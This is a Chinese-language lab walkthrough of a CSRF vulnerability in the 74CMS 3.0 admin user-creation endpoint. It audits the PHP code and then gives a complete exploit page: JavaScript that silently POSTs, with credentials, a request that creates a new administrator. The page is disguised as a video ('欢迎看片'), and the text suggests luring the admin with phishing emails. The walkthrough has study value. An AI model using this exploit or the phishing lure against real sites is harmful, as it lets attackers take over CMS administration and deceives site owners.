74CMS 3.0 CSRF漏洞
一、 启动环境
1.双击运行桌面phpstudy.exe软件
2.点击启动按钮，启动服务器环境
二、代码审计
1．双击启动桌面Seay源代码审计系统软件
2．因为74CMS3.0源代码编辑使用GBK编辑，所以首先需要先将编码改成GBK
3．点击新建项目按钮，弹出对画框中选择（C:\phpStudy\WWW\74cms），点击确定
漏洞分析
1．点击展开左侧admin目录，在弹出的下拉列表中双击admin_users.php页面，右侧页面可以看到相关代码。
elseif($act == 'add_users_save')
{
if ($_SESSION['admin_purview']<>"all")adminmsg("权限不足！",1);
$setsqlarr['admin_name']=trim($_POST['admin_name'])?trim($_POST['admin_name']):adminmsg('请填写用户名！',1);
if (get_admin_one($setsqlarr['admin_name']))adminmsg('用户名已经存在！',1);
$setsqlarr['email']=trim($_POST['email'])?trim($_POST['email']):adminmsg('请填写email！',1);
if (!preg_match("/^[\w\-\.]+@[\w\-\.]+(\.\w+)+$/",$setsqlarr['email']))adminmsg('email格式错误！',1);
$password=trim($_POST['password'])?trim($_POST['password']):adminmsg('请填写密码',1);
if (strlen($password)<6)adminmsg('密码不能少于6位！',1);
if ($password<>trim($_POST['password1']))adminmsg('两次输入的密码不相同！',1);
$setsqlarr['rank']=trim($_POST['rank'])?trim($_POST['rank']):adminmsg('请填写头衔',1);
$setsqlarr['add_time']=time();
$setsqlarr['last_login_time']=0;
$setsqlarr['last_login_ip']="从未";
$setsqlarr['pwd_hash']=randstr();
$setsqlarr['pwd']=md5($password.$setsqlarr['pwd_hash']);
if (inserttable(table('admin'),$setsqlarr))
{
$link[0]['text'] = "返回列表";
$link[0]['href'] ="?act=";
adminmsg('添加成功！',2,$link);
}
else
{
adminmsg('添加失败',1);
}
}
其中当获取的act参数为add_users_save时，执行添加管理员操作。代码段第一行首先检查当前用户是否权限添加，如果没有权限则直接终止掉下面紧接着进入添加管理员操作，最后将setsqlarr数组执行inserttable操作，将管理员插入数据库。中间并没有检查用户来源操作，如：Token、验证码等。
漏洞利用
1.首先需要构造一个攻击页面，由于添加用户需要POST发送数据，所以不能通过简单执行GET请求，需要在攻击页面执行Ajax请求，异步发送数据。
2.攻击JavaScript代码
<script>
function add() {
var xmlhttp = new XMLHttpRequest();
var xmldata = 'admin_name=zhangsan3&email=5454695%40qq.com&password=123456&password1=123456&rank=1qi&submit3=%CC%ED%BC%D3';
xmlhttp.open('POST','http://192.168.91.136/74cms_Home_Setup_v3.0.0/upload/admin/admin_users.php?act=add_users_save',true);
xmlhttp.setRequestHeader('Content-Type','application/x-www-form-urlencoded');
xmlhttp.withCredentials='true'; //跨域请求是否提供凭证
xmlhttp.send(xmldata);
}
</script>
HTML展现页面
<body "add()">
<img src="3333.gif">
<!-- <video width="544" height="960" controls>-->
<!-- <source src="3333.gif" type="video/mp4">-->
<!-- 您的浏览器不支持 HTML5 video 标签-->
<!-- </video>-->
</body>
3．诱导管理员访问该页面可以使用钓鱼邮件，网站发送建议等。
访问以后用户看到就是普通一段视频，但是Ajax已经异步把数据提交到后台。
登录后台发现，已经成功添加zhangsan这个用户
完整代码
CSRF.php
<html>
<head>
<meta charset="utf-8">
<title>欢迎看片</title>
<script>
function add() {
var xmlhttp = new XMLHttpRequest();
var xmldata = 'admin_name=zhangsan3&email=5454695%40qq.com&password=123456&password1=123456&rank=1qi&submit3=%CC%ED%BC%D3';
xmlhttp.open('POST','http://192.168.91.136/74cms_Home_Setup_v3.0.0/upload/admin/admin_users.php?act=add_users_save',true);
xmlhttp.setRequestHeader('Content-Type','application/x-www-form-urlencoded');
xmlhttp.withCredentials='true'; //跨域请求是否提供凭证
xmlhttp.send(xmldata);
}
</script>
</head>
<body "add()">
<img src="3333.gif">
<!-- <video width="544" height="960" controls>-->
<!-- <source src="3333.gif" type="video/mp4">-->
<!-- 您的浏览器不支持 HTML5 video 标签-->
<!-- </video>-->
</body>
</html>
